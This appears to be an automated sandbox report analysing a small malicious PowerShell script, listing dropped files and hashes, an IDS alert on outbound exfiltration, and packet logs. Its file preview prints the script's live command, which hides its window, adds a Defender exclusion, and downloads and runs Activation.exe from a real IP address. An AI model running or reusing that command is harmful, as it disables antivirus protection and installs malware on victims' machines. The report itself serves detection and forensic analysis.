Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.7.9.5.1.5.8.2.0.6.9.3.6.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.7.9.5.1.5.8.8.9.4.4.3.7.0.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.6.6.4.d.1.b.9.-.d.a.5.c.-.4.1.e.9.-.9.a.d.6.-.c.5.7.8.e.c.c.f.6.c.8.3.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.3.4.d.d.3.0.f.b.-.4.0.1.2.-.4.4.a.7.-.a.6.8.e.-.0.5.c.a.0.a.0.e.b.0.0.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.A.c.t.i.v.a.t.i.o.n...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.q.b.i.t.t.o.r.r.e.n.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.e.8.0.-.0.0.0.1.-.0.0.1.3.-.e.a.1.b.-.1.4.8.7.5.6.4.6.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.2.2.b.f.c.a.6.f.a.2.b.5.2.d.5.2.1.f.6.1.a.f.e.0.8.a.c.e.8.c.7.0.0.0.0.0.9.0.4.!.0.0.0.0.b.a.e.c.5.2.5.e.2.5.7.8.6.a.3.7.8.7.b.9.0.b.3.0.0.a.3.8.3.f.8.1.4.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC943.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 4 14:12:38 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	374420
Entropy (8bit):	3.434439106963179
Encrypted:	false
SSDEEP:	3072:kQZ2yzkF1fEud4uEq3WOfLTgdayjuqjLFksc:k48Eud4pSTgMyjum
MD5:	B676F563F9B1BCDEE473E0B0AC43EACF
SHA1:	6B77EEFD14F8920BC6B5E6B776EEEA7761664770
SHA-256:	4F6A731CD8801C24B3A048D9EF36B5FEFCF4D38DD9EB74F4360BEEDD99A4F60F
SHA-512:	9DA8846A78A2D0DBDD5CCB54D751D7D9F2752B5B3E42475D34F564C2B9ADE462825FCD2F56050269E4F038E6754AF68D1B248FA1F4DE93BE3B60284D5667EF0E
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......VcPg.........................%..........<...h0.......-...y..........`.......8...........T............`...U...........0...........2..............................................................................eJ......(3......GenuineIntel............T...........BcPg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB38.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8382
Entropy (8bit):	3.688690994460128
Encrypted:	false
SSDEEP:	192:R6l7wVeJas6WF6YTuS2JQPgmfZR5prp89bkasfUMm:R6lXJJ6k6YaS2aPgmf/Ck5fW
MD5:	F28B2B1A122DCD81C9ECF8459DC9E3F7
SHA1:	E3C3578FE0DEA4DEE0547745BC0D84F1B08BB5A7
SHA-256:	5551298E7788B7D8A4CE19F4E6682CA9F1E0941E5ABF0DC5130769A6B63C279B
SHA-512:	6838BD99602CDC2E269B12040473B883B7F47085D3E28B674B3CF153EA442B6EC5BD520582FDFB7659B0EABC0C5BE58E7D52AC3192C0CB750B1D57D91B718617
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.8.0.8.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERCB87.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4755
Entropy (8bit):	4.452380574273051
Encrypted:	false
SSDEEP:	48:cvIwWl8zsZlJg77aI9VKWpW8VYdYm8M4JM3Fyl+q8vq5iKFqqd:uIjf1I73r7VRJzlKGiKFqqd
MD5:	DF80393B70E856206F86495167055A35
SHA1:	9B000B82DE0673AC482D52663C4087C47AB774D3
SHA-256:	242FCBCAD5334333FDE73F03C5BD65DEDB885F8BBA1F69D05A31B14B0B92508A
SHA-512:	95CCF9ABF88D7DE050095D888D07DF7F829DB71B619761E00E6612A4F70C1B5F5D1FDC6DD795C5CEE19018281CBACE44E2322EAEF4EDD6B9AA9435F87CAD88F5
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="616635" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Activation.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3361979
Entropy (8bit):	7.958368471713319
Encrypted:	false
SSDEEP:	98304:Jj3eS6htWV1940j0wk0IySMGfEsiC0BDm+:0S67WVRjplgMJRVb
MD5:	AA3A94BA72728DF41A815B060F5E9C52
SHA1:	BAEC525E25786A3787B90B300A383F814E65377D
SHA-256:	573A6686DBA8217E51B0C4FD9B041A4BF3CE193D6BE69E201A6EDCEFA3DC42E6
SHA-512:	99772AA3F7837A205F1657730CAFC93D8BDCD3CD3826669402F344DB5BA28D48C84521DBA2A7EAB2E7A0C5B3B064FE8C364B9665D03253A94F6177565EF82962
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z=Pg.........."...0.............X.V.. ........@.. .......................@......Ml3...`.................................:@..P....`.............................................................................................................. ..... ..j................... ..` ............................@..@ ..... ......................@..B.imports. ...@......................@....rsrc.... ...`......................@..@.themida.`T.........................`....boot....Z2...V..X2.................`..`........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultw5lh:NllUC7
MD5:	C68F263EC35903B89283ADBA4ADBFEAD
SHA1:	D9DCADCB217A2E0962D579855C5392738B83D56A
SHA-256:	E248647568F8EEB67A40E44FB2F7F6ACE208301D1089772215969BF15A483783
SHA-512:	2794EC0773806BE9EDB36428C45695BD545EAF01350515C46395D355D19E988EBDA8545D3A95E1FC11A7226CE15C71318F58B3829FCA69D7781693780343629B
Malicious:	false
Preview:	@...e.................................\|.n............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5hfuyrha.1ea.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_amom3ors.pzp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nqpgzsww.3z2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_riotmoqt.eq0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spcuhtck.oqx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tdambi4q.rm0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7228597976664175
Encrypted:	false
SSDEEP:	96:+nDMCXNZGwkvhkvCCtN832lYKHi832lYvHq:+DjNQcN83uo83uz
MD5:	BE9D26C6B3CE180A81398E776439345C
SHA1:	7E7FADF070B1D749F572795D741E1F92DE88D44F
SHA-256:	8B382BC9C89CD1BBE79F1244DC0D5D6129453607A55C46016BA51B35FB73BE8D
SHA-512:	49783C3ECEBB429ED2283AC2E9393911721B38289BED0656A05188E9AB037D589FC7F73CCDB59FD02F61CD47E28F2214E8386D35B596EEBB38DBB1EAD431DFD6
Malicious:	false
Preview:	...................................FL..................F.".. ...]...z...'..}VF..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......;..z...<9.yVF.....}VF......t...CFSF..1.....EW.V..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.V.Y.q..........................B...A.p.p.D.a.t.a...B.V.1......Y\|q..Roaming.@......EW.V.Y\|q...........................}..R.o.a.m.i.n.g.....\.1.....EW.X..MICROS~1..D......EW.V.Yyq..............................M.i.c.r.o.s.o.f.t.....V.1.....EW(Y..Windows.@......EW.V.Yyq...........................5..W.i.n.d.o.w.s.......1.....EW.V..STARTM~1..n......EW.V.Yyq....................D.....XS..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWXX..Programs..j......EW.V.Yyq....................@......4..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.VEW.V..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.V.Y.q................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MYRORPH9WV5CU5Y8GZFY.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7228597976664175
Encrypted:	false
SSDEEP:	96:+nDMCXNZGwkvhkvCCtN832lYKHi832lYvHq:+DjNQcN83uo83uz
MD5:	BE9D26C6B3CE180A81398E776439345C
SHA1:	7E7FADF070B1D749F572795D741E1F92DE88D44F
SHA-256:	8B382BC9C89CD1BBE79F1244DC0D5D6129453607A55C46016BA51B35FB73BE8D
SHA-512:	49783C3ECEBB429ED2283AC2E9393911721B38289BED0656A05188E9AB037D589FC7F73CCDB59FD02F61CD47E28F2214E8386D35B596EEBB38DBB1EAD431DFD6
Malicious:	false
Preview:	...................................FL..................F.".. ...]...z...'..}VF..z.:{.............................:..DG..Yr?.D..U..k0.&...&.......;..z...<9.yVF.....}VF......t...CFSF..1.....EW.V..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EW.V.Y.q..........................B...A.p.p.D.a.t.a...B.V.1......Y\|q..Roaming.@......EW.V.Y\|q...........................}..R.o.a.m.i.n.g.....\.1.....EW.X..MICROS~1..D......EW.V.Yyq..............................M.i.c.r.o.s.o.f.t.....V.1.....EW(Y..Windows.@......EW.V.Yyq...........................5..W.i.n.d.o.w.s.......1.....EW.V..STARTM~1..n......EW.V.Yyq....................D.....XS..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....EWXX..Programs..j......EW.V.Yyq....................@......4..P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......EW.VEW.V..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......EW.V.Y.q................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.298863328483508
Encrypted:	false
SSDEEP:	6144:DECqOEmWfd+WQFHy/9026ZTyaRsCDusBqD5dooi8lGSD6VJSRE+:ICsL6seqD5SvSWVARR
MD5:	8B9E404ADE63AE6204F9142D35FABAF9
SHA1:	2F6210274F19837E45BEF8FE706B6EA90461386D
SHA-256:	BCED8F18946909AB02C749B5997DE1D1FD9353B2D2FE5A0803FC49C6F60F71BB
SHA-512:	CA00CDDF49A338051D18827541369BC6F3C09C83E61D14B346B466B4C7DA88BB9579474F80613423176436EFE7D08CFDC7780CC20796250F71A4802EB977E804
Malicious:	false
Preview:	regfD...D....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm....VF..............................................................................................................................................................................................................................................................................................................................................>C.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.1601010012380515
TrID:
File name:	gCK3ozTL7Q.ps1
File size:	208 bytes
MD5:	f74352d968ebe606fcc81a9d827e5ccf
SHA1:	1d6b0838ef4e437998b11ea7c15691e483d7b9d6
SHA256:	c185695a5c260e4c77fe5a0999ce23f9a3ea45f89b15003a18e8c3052e75beb6
SHA512:	b8cf2b1d9fd7b4c2557918d05b89cc179f60849c6959dcefd92a26619c4af53cd5deb13bca6b9028af1934628626a3f0d27c463f38d4f73f5e1aedc37c080178
SSDEEP:	6:dgB81xfteGgdEY+H/qxHGOtLh8XZI/8yfbs/QbGh/Q4Q:W81eurKGGrTsIboIn
TLSH:	ABD022E70002226CEB378F733880B912403F40844909B962E1492826301A026C7ABD4F
File Content Preview:	:main..powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-04T15:12:37.299911+0100	2843856	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2	1	192.168.2.11	49772	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 4, 2024 15:12:12.784019947 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:12.904031992 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:12.904141903 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:12.909676075 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:13.029489040 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.187154055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.187185049 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.187196016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.187246084 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.268255949 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268286943 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268301010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268356085 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.268379927 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268425941 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.268455982 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268469095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268481970 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.268511057 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.307022095 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.307121992 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.307214975 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.311269999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.311290979 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.311368942 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.382781029 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.382834911 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.382894993 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.388194084 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.388214111 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.388272047 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.395371914 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.437138081 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.460316896 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.460437059 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.460511923 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.464235067 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.465634108 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.465672016 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.465698004 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.473607063 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.473664045 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.473695993 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.481460094 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.481530905 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.481564999 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.489445925 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.489485025 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.489546061 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.497462034 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.497522116 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.497533083 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.505239010 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.505275965 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.505311966 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.513101101 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.513154984 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.513202906 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.521037102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.521054983 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.521125078 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.574918985 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.574937105 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.574987888 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.576685905 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.576735973 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.576895952 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.583137035 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.583225012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.583410025 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.589608908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.589682102 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.589768887 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.596020937 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.596075058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.596138000 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.602459908 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.652421951 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.652467012 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.652492046 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.654567003 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.654660940 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.654678106 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.658915997 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.659060001 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.660541058 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.661081076 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.661142111 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.665209055 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.665343046 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.665401936 CET	49717	80	192.168.2.11	45.200.148.86
Dec 4, 2024 15:12:14.669719934 CET	80	49717	45.200.148.86	192.168.2.11
Dec 4, 2024 15:12:14.669850111 CET	80	49717	45.200.148.86	192.168.2.11
